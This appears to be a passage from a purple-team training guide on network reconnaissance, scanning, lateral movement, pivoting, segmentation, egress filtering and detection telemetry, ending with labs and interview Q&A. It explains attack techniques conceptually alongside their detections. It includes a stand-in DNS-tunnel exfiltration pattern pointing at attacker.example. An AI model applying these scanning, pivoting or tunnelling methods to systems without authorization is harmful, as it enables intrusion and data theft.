Common misconception. "Kerberos is unbreakable, so the network is safe." Kerberos is strong, but weak service-account passwords are crackable offline from a normal ticket request, and NTLM (still enabled almost everywhere) is relayable. The protocol is not the whole story; the configuration and the network position are.
Chapter 4: Reconnaissance — Passive vs Active, and the Legal Line
Zero background. Before attacking anything, you learn about it. Reconnaissance is that learning. There are two kinds, and the difference between them is not academic — it is the legal and authorization boundary that separates security research from an offense.
What it is.
- Passive reconnaissance — learning without interacting with the target's systems. You query public, third-party data: DNS records, certificate-transparency logs, passive-DNS datasets, WHOIS, search engines, leaked-credential dumps, the target's own public website, employees' public profiles (OSINT). The target's servers never receive a packet from you.
- Active reconnaissance — interacting with the target's systems: port scanning, banner grabbing, zone transfers, probing a login page, vulnerability scanning. The target receives your traffic and could log it.
Why the distinction matters. Passive recon is generally lawful and OPSEC-quiet (no traffic to the target). Active recon touches systems you may not be authorized to touch — and in most jurisdictions, unauthorized interaction with a computer system is a crime regardless of intent (unauthorized-access statutes). The line is not "did I cause harm"; it is "did I have authorization to interact."
The authorization line (the Phase 00 rule, restated for the network).
PASSIVE (public data, no target traffic) → generally fine; still record scope and purpose
ACTIVE (packets hit the target's systems) → ONLY with written authorization
(signed engagement / ROE, a CTF, a VRP with
safe-harbor scope) OR a system you own
You never scan a host "because it is reachable." Reachability is not authorization. Before any active recon you must name the owner, scope, methods, rate limits, time window, stop conditions, and deconfliction contact (Phase 00). In Operation Cedar Lattice, that authorization is the engagement contract with Meridian; in this repo, all labs are synthetic, so there is no target to scan at all.
Under the hood — what good passive recon yields. From public DNS + CT + WHOIS + OSINT you can often
reconstruct most of an org's external surface: subdomains (vpn., mail., dev.), IP ranges, mail
and SaaS providers, the email-auth posture, technology fingerprints, and likely usernames — all without
sending the target a single packet.
Telemetry it emits. Passive recon emits nothing the target can see (that is the point) — but it
leaves traces in the third-party services you query, and active recon emits plenty: scan traffic in the
target's netflow, failed logins, IDS alerts, and AXFR attempts in DNS logs.
How a defender detects it. A defender cannot detect passive recon directly, so they reduce
attack-surface exposure (minimize public records, monitor CT logs for lookalike domains, watch for
their brand in leak datasets). Active recon they detect with scan-detection analytics (Chapter 5) and
AXFR-attempt logging.
Engagement significance. Phase 03's external-recon step against Meridian is passive-first: build the surface map from public data, then do authorized active scanning to confirm reachability — and every active step is paired with its scan-detection so you can tell Meridian what their sensors should have seen.
Common misconception. "It's just a port scan, that's not illegal." Unauthorized scanning of systems you do not own can be unlawful and is, at minimum, a scope violation. Authorization — not the benignity of the technique — is the line.
Chapter 5: Scanning Theory — TCP States, SYN Scans, Rate vs Stealth
Zero background. To know which services exist on a host, you probe its ports. A port is open, closed, or filtered. Scanning is the systematic discovery of that state across hosts and ports. To understand scanning you must understand the TCP connection state machine, because scans are clever manipulations of it.
What it is — the TCP three-way handshake. A normal TCP connection opens like this:
client ──SYN──► server "I want to connect"
client ◄─SYN/ACK─ server "ok, here's my sequence" (port is OPEN and listening)
client ──ACK──► server "great, connected" (full connection established)
If the port is closed, the server replies RST (reset). If a firewall filters the port, the client gets nothing (the SYN is dropped) — so "no answer" means filtered.
Why a SYN scan ("half-open"). A full connect scan completes the handshake (SYN → SYN/ACK → ACK), which the application accepts and logs. A SYN scan sends the SYN, reads the reply, and then sends RST instead of ACK — it never completes the connection:
SYN scan: scanner ──SYN──► port
port ◄─SYN/ACK─ scanner → OPEN (scanner replies RST, tears down before connecting)
port ◄──RST─── scanner → CLOSED
port (no reply) → FILTERED
Because the connection never fully opens, the application often never logs it (only the network stack saw it), and it is faster. That is the classic "stealth" rationale — but "the app didn't log it" is not "nobody saw it" (below).
Why rate vs stealth is a real tradeoff. You can scan fast (thousands of packets per second, like
masscan) or slow and randomized. The tradeoff:
| Approach | Speed | Detection footprint |
|---|---|---|
| Fast / full-rate | seconds | huge: a fan-out of SYNs from one source to many ports/hosts — trivially flagged in netflow and by IDS |
| Slow / randomized / distributed | hours+ | smaller per-unit-time, harder to threshold, but more time on target |
There is no "invisible" scan. A scan is, by definition, one source touching many destinations/ports in a short window — which is a shape in netflow that no payload trick hides. Stealth scanning manages how loud, not whether.
Under the hood — scan types in one table:
| Scan | Mechanism | Tell |
|---|---|---|
| TCP connect | full 3-way handshake | app logs the connection |
| SYN (half-open) | SYN then RST | not app-logged, but loud in netflow |
| UDP | send UDP, infer from ICMP unreachable | slow, noisy ICMP |
| ACK | probe firewall state | maps filtering rules |
Telemetry it emits. A scan is loud at L3/L4: in netflow it is a fan-out — one source IP, many
destination IPs and/or many destination ports, many tiny flows, often with high RST or no-response
ratios. IDS (Suricata) has explicit scan-detection rules; Zeek's conn.log plus a scan-detection
script flags it.
How a defender detects it. Threshold on connections-per-source-per-window across distinct destinations/ports; alert on high RST ratios and SYN-without-completion. The control is deny-by-default segmentation (Chapter 8): if the scanner can only reach its own segment, the scan reveals nothing valuable, and the cross-segment scan attempt is itself an alert.
Engagement significance. In Phase 03 you scan Meridian's authorized scope to confirm reachability for the pivot map — and you pair every scan with its netflow/IDS detection so Meridian learns where their scan-detection failed. The rate-vs-stealth choice is an OPSEC decision recorded in the run sheet.
Common misconception. "A SYN scan is undetectable." It avoids application logging, not network detection. The netflow fan-out is the signature; "stealth" scanning only changes how quickly you cross a threshold.
Chapter 6: Lateral Movement as Reachability Over a Graph
Zero background. One foothold is never the goal. Lateral movement is spreading from the first compromised host toward the objective (the database, the domain controller, the backup server). The key mental shift in this phase: lateral movement is a graph problem.
What it is. Model the network as a directed graph:
- Nodes are hosts (and, in richer models, identities/credentials).
- A directed edge
A -> Bmeans an attacker who controlsAcan reachB— becauseAandBare network-adjacent and the attacker holds the credential or route that enables the hop (an open firewall path plus a reused local-admin password, a stored SSH key, a SOCKS proxy through a multi-homed host).
[vpn] ──► [jumphost] ──► [fileserver] ──► [erp_db]
│
└────────► [appserver] ──► [dc]
Why model it as a graph. Three questions fall straight out of graph theory, and they are exactly the Lab-01 API:
- Blast radius — what can I reach from the foothold? A breadth-first search from
startgives the reachable set. (reachable(graph, start).) - The best route — what is the cheapest path to the target? Put a cost on each edge
(detection-risk + effort) and run Dijkstra. The cheapest path is the quietest, not the
fewest-hops. (
shortest_path(graph, start, target).) - The choke point — which single host, if removed, disconnects the foothold from the target?
Those are the articulation points / dominators — remove each candidate and re-test reachability.
(
choke_points(graph, start, target).)
Under the hood — why offense and defense are the same algorithm. The attacker runs the BFS/Dijkstra to find a path. The defender runs the same search to find the cut: the choke point is the host whose every-path-passes-through property makes it the highest-leverage place to segment or harden. BloodHound (offense) and attack-path analysis (defense) are one algorithm — and so is Lab 01.
attacker view: "BFS from foothold → I reach the dc via jumphost→appserver"
defender view: "remove appserver → the dc is no longer reachable → appserver is a choke point → segment it"
SAME GRAPH, SAME SEARCH, opposite goal.
Why cost matters. A real operator does not take the shortest path; they take the quietest path that reaches the goal. Encoding detection-risk as edge cost (a monitored noisy SMB-admin hop costs more than a quiet allow-listed SSH hop) makes Dijkstra return the route an OPSEC-disciplined attacker actually uses — which is also the route a defender most wants to instrument.
Telemetry it emits. Lateral movement is east-west traffic — internal host-to-host flows on
service ports (445, 3389, 5985, 22). In a normally hub-and-spoke network (clients talk to
servers, not to each other), a host suddenly initiating connections to many internal peers is a
netflow anomaly. Authentication telemetry (EID 4624 type 3) corroborates it.
How a defender detects it. East-west netflow analytics (a workstation that starts behaving like a scanner/jump host), lateral-movement analytics on logon events, and — structurally — segmentation so most hops are simply impossible. The choke point is the defender's deliverable: cut it.
Engagement significance. The internal pivot map of Meridian is precisely this graph. Lab 01 builds the planner; the map plus the choke-point list is the Phase 03 portfolio artifact; Lab 02 turns the choke point into the firewall rule.
Common misconception. "Reachability is a list of hosts." Reachability without the path, the cost, and the choke point is half the answer. The graph — not the list — is what lets you both attack and defend.
Chapter 7: Pivoting and Tunneling — SOCKS, Port-Forwarding, chisel/ligolo
Zero background. The attacker's machine usually cannot directly reach the deep internal segments — that is the whole point of segmentation. A pivot is the technique that borrows a compromised host's network position to reach further. Tunneling is the mechanism that carries the pivot's traffic. In graph terms: a pivot adds an edge to the reachability graph.
What it is — the three forwards. Using SSH (the canonical example; the same concepts apply to chisel, ligolo, Meterpreter, etc.):
| Forward | What it does | Use |
|---|---|---|
| Local port-forward | bind a port on my machine that tunnels to a host:port reachable from the pivot | reach one specific internal service through the pivot |
| Remote port-forward | bind a port on the pivot that tunnels back to a host:port reachable from me | give an internal host a route back to my tooling (or my C2) |
| Dynamic (SOCKS) | the pivot becomes a SOCKS proxy; any tool can route any connection through it | turn the pivot into a general gateway into its segments |
What is a SOCKS proxy. SOCKS (RFC 1928) is a simple protocol where a client says "connect me to
host:port" and the proxy makes the connection on its behalf, then relays bytes both ways. A dynamic
SOCKS pivot means: I run a SOCKS server on (or tunneled from) the compromised pivot, point my tools at
it (proxychains nmap, a browser, my scanner), and every connection now originates from the pivot's
network position. In graph terms, the SOCKS pivot gives my machine all the pivot's outgoing edges.
my box ──(encrypted tunnel)──► [pivot, multi-homed] ──► internal segment (192.168.50.0/24)
proxychains/SOCKS the pivot makes the real connection; I just relay through it
⇒ graph effect: add edges (my_box → everything the pivot can reach)
What chisel / ligolo are (conceptually). When SSH is not available, operators use purpose-built tunnelers:
- chisel — a fast TCP/UDP tunnel over HTTP/WebSocket; useful when only web ports egress. It builds the same local/remote/SOCKS forwards over an HTTP-looking channel.
- ligolo-ng — creates a TUN interface so the operator's box routes into the target segment as
if natively connected (no
proxychainsneedency); very clean, very effective.
In this repo these are concepts only — Lab 01 models the reachability a pivot creates; it does not build a tunnel. On the owned range (HITCHHIKER'S GUIDE) you stand up a real pivot to observe its telemetry, never against anything you do not own.
Why it exists / why it works. Segmentation blocks direct paths but usually allows a compromised internal host to talk to its neighbors (that is its job). The pivot inherits that allowed position. The defense is therefore not "block the tunnel protocol" (it hides in HTTP/SSH) but segment so the pivot host itself cannot reach much, and detect the pivot's traffic shape.
Telemetry it emits — a pivot is loud if you know the shape. A SOCKS/tunnel pivot has a recognizable signature:
- One internal host becomes a connection hub — many outbound connections to many internal peers from a host that normally talks to few. (East-west netflow fan-out — same shape as a scan.)
- Long-lived connections — the tunnel itself is a persistent connection (often to the operator's box or C2), unlike normal short request/response flows.
- Multiplexing — many logical streams over one transport; byte counts and timing look unlike a normal single application.
- chisel/ligolo over HTTP — "HTTP" connections that are long-lived, high-volume, and bidirectional, unlike real web browsing (a JA3/JA4 and behavioral mismatch).
How a defender detects it. Zeek conn.log + netflow analytics: flag internal hosts whose
connection fan-out or long-lived-connection count spikes; flag "HTTP" sessions whose duration/volume
profile is unlike browsing; correlate with the egress channel (Chapter 9). The structural control is
segmentation + egress filtering so the pivot has few edges to inherit and no clean way home.
Engagement significance. The foothold-VPN-to-internal-pivot step of Operation Cedar Lattice is this chapter. Lab 01 plans which pivot edge buys the most reachability (and the cheapest path it enables); the HITCHHIKER'S GUIDE builds one on the owned range and watches the netflow it makes.
Common misconceptions. "A tunnel inside TLS/HTTP is invisible." The content is hidden; the behavioral shape (long-lived, high-volume, fan-out, multiplexed) is not. "Pivoting is exotic hacking." Pivoting is ordinary graph traversal — a pivot just adds edges; the cleverness is OPSEC, not magic.
Chapter 8: Network Segmentation — VLANs, ACLs, Zero-Trust, Microsegmentation
Zero background. A flat network — where every host can reach every other host — is an attacker's dream: one foothold reaches everything (the graph is fully connected). Segmentation is the practice of breaking that graph into zones so a compromise in one zone cannot freely reach another. It is the single most important structural network control against lateral movement.
What it is — the toolbox, coarse to fine:
| Mechanism | Granularity | What it does |
|---|---|---|
| VLANs | broadcast domains | separate L2 segments (e.g. user VLAN, server VLAN, VoIP VLAN) |
| ACLs / firewall rules | zone-to-zone, port | allow/deny flows between segments (the Lab-02 model) |
| Zero-trust | per-request | never trust by network location; authenticate+authorize every request |
| Microsegmentation | per-workload | host/workload-level policy (often identity-aware), down to "this app may talk only to that database on that port" |
Why it exists. Segmentation directly attacks the lateral-movement graph from Chapter 6: every deny rule removes edges. A well-segmented network is a graph where the foothold's reachable set is small and every path to the crown jewels passes through a few choke points you have hardened and instrumented. The goal is to make the attacker's BFS return almost nothing.
Under the hood — segmentation as graph surgery. Recall Lab 01: the choke point is the node whose
removal disconnects foothold from target. A segmentation policy is the act of removing that node's
edges with an ACL. Lab 02's blocks_path literally checks whether the firewall ruleset denies a hop
on a proposed lateral path — i.e. whether the segmentation policy cut the edge.
flat network: foothold reaches EVERYTHING (one big connected component)
segmented network: foothold ──► its zone only ──[choke: jump host, ACL-controlled]──► server zone
every cross-zone hop must pass an explicit allow rule (deny-by-default)
Zero-trust, precisely. Zero-trust (NIST SP 800-207) drops the assumption that "inside the perimeter = trusted." Every access is authenticated, authorized, and encrypted per request, regardless of network location. In graph terms, an edge no longer exists just because two hosts are adjacent — it exists only when this identity is authorized for this resource right now. That collapses the attacker's inherited reachability dramatically.
Telemetry it emits. Segmentation itself is a control, but it produces detection value: every denied cross-zone flow is an alert-worthy event (someone tried a hop the policy forbids). A spike in denied flows from one host is a strong lateral-movement signal.
How a defender detects (and verifies) it. Beyond logging denies, you verify effective state:
actually test that the path is blocked (Lab 02's blocks_path, and on the range, an authorized probe
that confirms the hop fails). Intended config is not effective config — a rule can exist and be shadowed
by an earlier any-any allow.
Engagement significance. The Phase 03 deliverable includes the segmentation policy that breaks
Meridian's foothold-to-crown-jewel path. The choke points from Lab 01 become the deny rules in Lab 02;
blocks_path proves the path is closed and that legitimate traffic still flows (regression).
Common misconceptions. "We have VLANs, so we're segmented." VLANs separate broadcast domains but do nothing without ACLs between them — inter-VLAN routing can leave the graph fully connected. "Internal traffic is trusted." That assumption is exactly what zero-trust deletes; flat-internal trust is how one phish becomes domain-wide compromise.
Chapter 9: Egress Filtering and Allow-Listing
Zero background. Segmentation (Chapter 8) controls internal (east-west) movement. Egress filtering controls outbound (north-south) traffic — what the inside is allowed to send to the internet. It is the control that catches the attacker's lifeline: command-and-control and exfiltration both have to leave the network.
What it is. Most networks allow almost anything outbound ("the inside is trusted to reach the
internet"). Egress filtering inverts that to deny-by-default outbound, allowing only an explicit
allow-list: outbound DNS to the enterprise resolver, web traffic to tcp/80/tcp/443 through a
logging proxy, and specific business destinations. Everything else is denied and logged.
Why it exists. Every C2 channel and every exfil path is outbound. If the only way out is a logged proxy on standard ports, then:
- A beacon to
tcp/4444on a random internet host is denied and alerted — it had nowhere to go. - A beacon hiding in
tcp/443must go through the proxy, where its destination, volume, periodicity, and TLS fingerprint are logged and analyzable. - DNS tunneling has to use the enterprise resolver (logged for entropy/volume) because direct
udp/53egress is blocked.
Egress filtering does not stop a determined attacker from finding a channel — but it forces them onto a small set of monitored paths, which is exactly what turns C2 from invisible into detectable. This is the highest-leverage north-south network control.
Under the hood — the over-permissive rules an analyzer flags (Lab 02). The classic holes:
allow any any any → "any-any" — the entire egress policy is a no-op
allow user internet 4444/tcp → broad egress on a non-standard port — textbook C2 channel
allow dmz internet any → egress on ANY port to the internet — exfil channel wide open
allow srv internet 443/tcp → FINE (standard egress; still route via proxy + log)
Lab 02's over_permissive flags the first three; egress_findings recommends the tightened
allow-list (pin egress to tcp/443,tcp/80,udp/53 via the proxy; deny + log the rest).
Telemetry it emits. Egress filtering produces three high-value signals: (1) denied egress events (a host tried to reach the internet on a forbidden port — investigate); (2) proxy logs of all allowed web egress (destination, bytes, frequency — the beacon-detection substrate); (3) DNS logs from the forced resolver (the tunnel-detection substrate).
How a defender detects what gets through. Even with egress on tcp/443 only, the behavioral
signals remain: beacon periodicity (regular call-home intervals), long-lived/high-volume flows
to rare destinations, JA3/JA4 TLS fingerprints that match known tooling, DNS entropy/volume
(Chapter 2). These are the Chapter-10 detections.
Engagement significance. The Phase 03 deliverable's egress allow-list is what would have caught FIN-LATTICE's beacon. The C2 phase (Phase 08) returns here: the malleable profile is designed to blend into allowed egress, and the detection is exactly the proxy/DNS/JA3 analytics this chapter sets up.
Common misconceptions. "We have a firewall, so egress is controlled." A firewall with allow any any outbound controls nothing. "Blocking outbound breaks everything." A correct allow-list permits
all legitimate business egress; what breaks is the attacker's odd-port beacon — which is the point.
Chapter 10: Network Telemetry — Netflow, DNS, Proxy, Zeek, Suricata
Zero background. Everything in this phase ends here: the sensors that turn an attacker's network moves into detectable events. You cannot pair an offensive technique with its detection if you do not know what each sensor records.
The four sensor families.
| Sensor | Layer | Records | Catches |
|---|---|---|---|
| Netflow (IPFIX) | L3/L4 | per-flow metadata: src/dst IP, ports, proto, bytes, packets, duration | scans (fan-out), lateral movement (east-west), beacons (periodicity), exfil (volume) |
| DNS logs | L7 | every query/response, record type, name length | DNS tunneling/C2 (entropy, volume), DGA (NXDOMAIN), recon (AXFR) |
| Proxy logs | L7 | URL, host, bytes, frequency, user-agent | web C2, exfil to web services, odd destinations |
| Zeek / Suricata | L2–L7 | Zeek: per-protocol logs + scriptable notices; Suricata: signature + protocol IDS | everything above, plus signatures and rich protocol parsing |
Under the hood — what each detection actually measures.
- Scan in netflow: one source, many distinct destinations/ports, many tiny flows, high RST or no-response ratio, all in a short window. Threshold on distinct-destinations-per-source-per-minute.
- Lateral movement in netflow: a host whose east-west connection fan-out spikes (a workstation that starts initiating to many internal peers) — the Chapter-6 anomaly.
- Beacon in netflow/proxy: periodicity — regularly-spaced connections to one destination (compute inter-arrival times; low variance = beacon), often small request / variable response, to a rare destination. Jitter in the malleable profile widens the variance to evade this — so you also use destination rarity and JA3/JA4.
- DNS tunnel in DNS logs: high per-host query rate to one zone; high mean label entropy (encoded
data looks random); long names; unusual record-type mix (
TXT/NULL); many unique subdomains. - TLS fingerprint: JA3/JA4 hashes the TLS client-hello parameters; tooling often has a stable,
recognizable fingerprint even inside encrypted
tcp/443.
Zeek concretely. Zeek passively parses traffic into logs you can detect on:
conn.log one line per connection: hosts, ports, proto, duration, bytes → scans, beacons, lateral, pivots
dns.log every DNS query/response, query length, record type → tunneling, DGA, AXFR
http.log requests, hosts, user-agents, status → web C2, odd user-agents
ssl.log TLS handshakes, SNI, JA3/JA4 → fingerprinted tooling in 443
notice.log Zeek scripts raise notices (e.g. scan detected) → packaged detections
Suricata concretely. A signature/protocol IDS: rules match known-bad patterns (e.g. a scan signature, a known C2 user-agent, a protocol anomaly) and emit alerts. Complementary to Zeek's behavioral logs — signatures catch the known, Zeek's metadata catches the novel.
How to think about it (the Pyramid of Pain, network edition). Blocking an IP or hash costs the adversary minutes. Detecting a TTP — the shape of a scan, a pivot's fan-out, a beacon's periodicity, a tunnel's entropy — costs them a redesign. Aim your detections at the behavioral shape, not the throwaway indicator.
How a defender operationalizes it. Collect netflow at the segment boundaries and the egress edge; force DNS through the logged resolver; force web egress through the logged proxy; run Zeek on the span ports and Suricata on the perimeter; write detections on shape (rate, fan-out, periodicity, entropy, rarity) and corroborate across sensors.
Engagement significance. This chapter is the detection half of the entire phase. Every Phase-03 offensive step — recon, scan, pivot, DNS tunnel, beacon, exfil — maps to one or more rows above, and the Phase-03 portfolio artifact's network-detection matrix is exactly that mapping. The labs encode the controls (Lab 02's egress allow-list) whose purpose is to funnel traffic into these sensors.
Common misconceptions. "Encryption blinds the sensors." It blinds L7 content parsing, not L3/L4 metadata, timing, volume, JA3/JA4, or DNS. "One alert is a detection." Robust network detection is correlation across netflow + DNS + proxy + Zeek; any single signal is noise.
Lab Walkthrough Guidance
Tackle the two labs in order — they compose into one attacker-and-defender story over the same graph.
Lab 01 — Pivot / Attack-Path Planner (Chapters 6–7). Implement in this order:
Graph.nodes()— the set of all node names (warm-up; you need it for choke points).reachable(graph, start, exclude=None)— BFS the blast radius. Get theexcludesemantics right: it drops every edge touching the excluded host, andexclude == startreturns empty. This one function powers everything else.reaches/reachable_targets— thin wrappers overreachable.shortest_path— Dijkstra over edgecost. Push the node name into the heap tuple so ties break deterministically; return(path, total_cost);start == targetis((start,), 0).choke_points— for each candidate host (not start/target), re-runreachablewith that host excluded; if the target becomes unreachable, it is a choke point. Sort the output.
Then read the tests: shortest_path must pick the cheapest, not fewest-hop route; the DC's choke
points include the app server (only path) but the ERP database's do not (it has a second path). That
contrast is the whole lesson.
Lab 02 — Segmentation & Egress Analyzer (Chapters 8–9). Implement in this order:
flow_permitted— deny-by-default, first-match-wins; wildcards (any/*) match anything; no match means denied. This is the firewall's core decision; everything builds on it.over_permissive— flagany-any,broad-egress(internet on a non-standard/wildcard port), andwildcard-port. Return index-ordered{index, rule, reason}.blocks_path/first_blocked_hop— a path is blocked iff any hop is not permitted.egress_findings— turn the over-permissive egress rules into allow-list recommendations.
The composition test is the payoff: the segmented ruleset permits Lab 01's designed pivot path but blocks the direct shortcut, and removing one allow rule breaks the path at a specific hop — that is segmentation turning a choke point into a control.
Success Criteria
You have understood this phase — not just passed the tests — when you can, without notes:
- Name, for each network layer, what an attacker learns and which sensor sees it.
- Explain DNS resolution and articulate DNS-as-recon, DNS-as-tunnel, and DNS-as-detection, including exactly what you measure to catch a tunnel (entropy, volume, record mix, unique subdomains).
- Walk the TCP handshake and state machine and explain why a SYN scan avoids app logging but not netflow detection, and why rate-vs-stealth is a real OPSEC tradeoff with no "invisible" option.
- Explain why lateral movement, a pivot, and a defender's choke-point analysis are the same graph, and compute reachability, the cheapest path, and the choke point by hand on a small graph.
- Distinguish local/remote/dynamic forwarding and explain a SOCKS pivot as "inheriting the pivot's edges," and name the netflow/Zeek shape that catches it.
- Design a segmentation + egress policy that breaks a given lateral path, and verify it blocks the path while legitimate traffic still flows.
- Pair every offensive step in the phase with a concrete network detection on shape (rate, fan-out, periodicity, entropy, rarity), not a throwaway indicator.
- State the passive/active recon boundary and the authorization line precisely.
Common Mistakes and OPSEC Failures
- Scanning at full rate. A full-rate scan is a netflow fan-out that any IDS flags instantly. Choose the rate deliberately and record it in the run sheet; there is no invisible scan.
- Treating a SYN scan as undetectable. It dodges application logs, not network detection.
- Crossing the recon authorization line. Passive OSINT is not active scanning. Never touch a host because it is reachable; the boundary is written authorization. (In this repo: all data is synthetic.)
- Forgetting a pivot is loud. A SOCKS/tunnel pivot makes one internal host a connection hub with long-lived, multiplexed, high-fan-out traffic — a textbook detection you must account for.
- Tunneling over DNS and assuming stealth. DNS tunneling is among the most detectable channels; the encoded names are statistically obvious.
- Building C2 over broad egress. An odd-port beacon dies the moment egress is deny-by-default; even
a
443beacon is logged by the proxy. Assume the egress edge is instrumented. - Mapping reachability as a list. Without the path, the cost, and the choke point, you cannot attack or defend. The graph is the deliverable.
- Claiming segmentation from VLANs alone. VLANs without inter-VLAN ACLs leave the graph connected. Verify effective state, not intended config.
- Skipping the detection pairing. A pivot map without its netflow/DNS/proxy/Zeek detection fails this track's bar — the detection is what makes the offensive knowledge a defensible asset.
Interview Q&A
Q1. Walk the TCP three-way handshake and the state machine. Why does a SYN scan work, what does it
leave half-open, and how does a defender detect it?
A connection opens SYN → SYN/ACK → ACK; the endpoints move through LISTEN, SYN-SENT/SYN-RECEIVED,
ESTABLISHED. A SYN scan sends the SYN and reads the reply — SYN/ACK means open, RST means
closed, silence means filtered — but then sends RST instead of ACK, so the connection never
reaches ESTABLISHED. Because the application's accept() never fires, the app often does not log it;
that is the "stealth." But the network stack and any flow collector did see it: a SYN scan is a
netflow fan-out — one source, many destinations/ports, tiny flows, high RST/no-response ratio in a
short window — which is exactly what scan-detection thresholds and Suricata rules catch. So "stealth"
means not application-logged, not undetectable; the rate-vs-stealth choice only changes how fast you
cross the threshold.
Q2. Explain DNS resolution. How is DNS used for recon, as a covert C2/tunnel, and as a detection
surface — and what exactly do you measure to catch a tunnel?
A client asks its recursive resolver, which walks root → TLD → authoritative servers (caching by
TTL) to return the record. Recon: public DNS + certificate-transparency + passive-DNS reveal
subdomains, mail/SaaS infra, and email-auth posture without touching the target; a misconfigured AXFR
dumps the whole zone. Covert channel: because DNS egress is allowed by default and queries traverse
the org's resolver to any authoritative server, an attacker encodes data into subdomain labels
(base32(chunk).tunnel.attacker.example); they own that authoritative NS, so they receive every label
and answer with TXT/CNAME commands — slow but firewall-piercing. Detection: measure per-host
query volume to one zone, mean label entropy (encoded labels look random), name length,
record-type mix (TXT/NULL heavy), NXDOMAIN bursts (DGA), and unique-subdomain count —
from Zeek dns.log. The control is to force DNS through the logged enterprise resolver and block direct
udp/53 egress, so there is no path to an external NS that bypasses a sensor.
Q3. What is a pivot? Compare local, remote, and dynamic forwarding, and explain why a pivot is "just reachability over a graph." How does each appear in netflow? A pivot borrows a compromised host's network position to reach segments my own box cannot. Local forward: bind a port on my box that tunnels to one service reachable from the pivot. Remote forward: bind a port on the pivot that tunnels back to my tooling (e.g. a route home for C2). Dynamic (SOCKS): the pivot becomes a SOCKS proxy and any tool routes any connection through it — graph-wise, my box inherits all the pivot's outgoing edges. So a pivot is literally adding edges to the reachability graph; lateral movement is graph traversal. In netflow, a SOCKS/tunnel pivot turns one internal host into a connection hub — high east-west fan-out, long-lived multiplexed connections, byte/timing profiles unlike normal apps; chisel/ligolo over HTTP shows up as long-lived high-volume "web" sessions unlike real browsing. The structural defense is segmentation (give the pivot few edges to inherit) plus egress filtering (deny it a clean way home).
Q4. Given a foothold and a target, how do you find the quietest path, and how does a defender find the choke point? Why are those the same algorithm? Model hosts as nodes and "attacker-traversable hop" as directed edges, each weighted by detection-risk + effort. The quietest path is Dijkstra over those costs — not the fewest hops, the least noise. The defender runs the same search: a choke point is a host whose removal makes the target unreachable (re-run reachability with each candidate excluded; it is an articulation point / dominator). Offense finds the path; defense finds the cut; both are BFS/Dijkstra over one graph — which is why BloodHound and attack-path analysis are one algorithm, and why a pivot planner is also a segmentation-planning tool (exactly Lab 01).
Q5. Design the segmentation and egress filtering that stops a lateral path from a VPN foothold to a
database. What does deny-by-default egress + an allow-list actually buy you?
Segment east-west: put the VPN, DMZ, user, and server zones in separate segments with deny-by-default
inter-zone ACLs; allow only the specific designed flows (VPN→DMZ:443, DMZ→server:1521). The choke
point from the attack graph (the jump host / app tier) becomes the ACL boundary, and you verify
blocks_path denies the direct VPN→server:1521 shortcut while the designed path still works. North-south:
deny-by-default egress, allowing only DNS to the resolver and web to 443/80 through a logging
proxy. That buys you the detection surface: an odd-port beacon (4444) is denied and alerted; a 443
beacon must traverse the proxy (logged destination/volume/periodicity/JA3); DNS tunneling must use the
logged resolver. You have not made C2 impossible — you have forced it onto a few monitored paths,
which is what makes it detectable.
Q6. What does SMB/NTLM authentication look like on the wire and in the logs, and what makes a relay or
coerced auth detectable?
SMB runs on tcp/445; lateral movement over it shows as network logons (EID 4624 type 3), SMB
session/named-pipe telemetry, and Zeek smb/dce_rpc logs. NTLM is challenge/response and relayable:
if an attacker can coerce a victim to authenticate to them (LLMNR/NBT-NS poisoning, or a coercion
technique), they forward that auth to a third server. The tells: LLMNR/NBT-NS responder traffic on the
segment, one source authenticating to many targets, and the relay's lateral logons. Defenses: disable
LLMNR/NBT-NS (removes the trigger), require SMB signing (breaks relay), and segment so the
attacker cannot reach the broadcast domain to poison it — the network-position control is the root fix.
Q7. You suspect C2 in a netflow + DNS + proxy dataset but have no malware sample. What do you hunt, and which signal costs the adversary the most to evade? Hunt on behavioral shape, not indicators: beacon periodicity (low-variance inter-arrival times to one destination), long-lived / high-volume flows to rare destinations, JA3/JA4 TLS fingerprints matching tooling, DNS entropy/volume for tunneling, and east-west fan-out for the pivot that feeds the beacon. On the Pyramid of Pain, blocking the C2 IP/domain costs minutes (they rotate it); detecting the TTP — the beaconing shape, the tunnel's entropy, the pivot's fan-out — costs them a redesign. So prioritize the behavioral detections; corroborate across sensors (a single signal is noise). Jitter widens periodicity variance, so lean on destination rarity + fingerprint + volume together.
Q8. What is the difference between passive and active reconnaissance, and where exactly is the line?
Passive recon uses third-party/public data (DNS, CT logs, passive-DNS, WHOIS, OSINT) and never
sends the target a packet — generally lawful and invisible to the target. Active recon (port
scanning, banner grabbing, AXFR, probing logins) interacts with the target's systems, which they
can log — and which, without authorization, is a crime in most jurisdictions regardless of intent. The
line is authorization to interact, not whether harm occurred: you never scan a host because it is
reachable. Authorized active recon requires a named owner, scope, methods, rate, window, stop
conditions, and a deconfliction contact (Phase 00). In this repo there is no target at all — every lab
is synthetic metadata.
References
Primary protocol sources
- Kozierok, The TCP/IP Guide — the protocol reference for this phase.
- RFC 1034 / 1035 — DNS concepts and implementation (
https://www.rfc-editor.org/rfc/rfc1035). - RFC 9293 — TCP (
https://www.rfc-editor.org/rfc/rfc9293). - RFC 826 — ARP (
https://www.rfc-editor.org/rfc/rfc826). - RFC 9110 — HTTP semantics (
https://www.rfc-editor.org/rfc/rfc9110). - RFC 4120 — Kerberos V5 (
https://www.rfc-editor.org/rfc/rfc4120). - RFC 1928 — SOCKS protocol version 5 (
https://www.rfc-editor.org/rfc/rfc1928). - Microsoft
[MS-SMB2]and[MS-NLMP](NTLM) protocol specifications.
ATT&CK network techniques
- Discovery: Network Service Discovery (T1046), Remote System Discovery (T1018).
- Lateral Movement: Remote Services (T1021); Use Alternate Authentication Material (T1550).
- Command and Control: Application-Layer Protocol (T1071), Non-Standard Port (T1571), Protocol Tunneling (T1572), Proxy — Internal/External (T1090).
- Exfiltration: Exfiltration Over C2 Channel (T1041), Exfiltration Over Alternative Protocol (T1048).
- Adversary-in-the-Middle (T1557): LLMNR/NBT-NS Poisoning (T1557.001), ARP Cache Poisoning (T1557.002).
Detection and defensive sources
- Zeek documentation —
conn,dns,http,ssl,noticelogs and the scripting framework (https://docs.zeek.org). - Suricata documentation — rules and protocol detection (
https://docs.suricata.io). - NIST SP 800-207 — Zero Trust Architecture.
- MITRE D3FEND — the defensive technique mapping (Network Traffic Analysis, Network Isolation).
- David Bianco, The Pyramid of Pain — choosing detections by cost-to-adversary.
- Talks and write-ups on DNS-tunneling detection (entropy/volume) and netflow-based lateral-movement hunting (east-west fan-out, beacon periodicity, JA3/JA4).
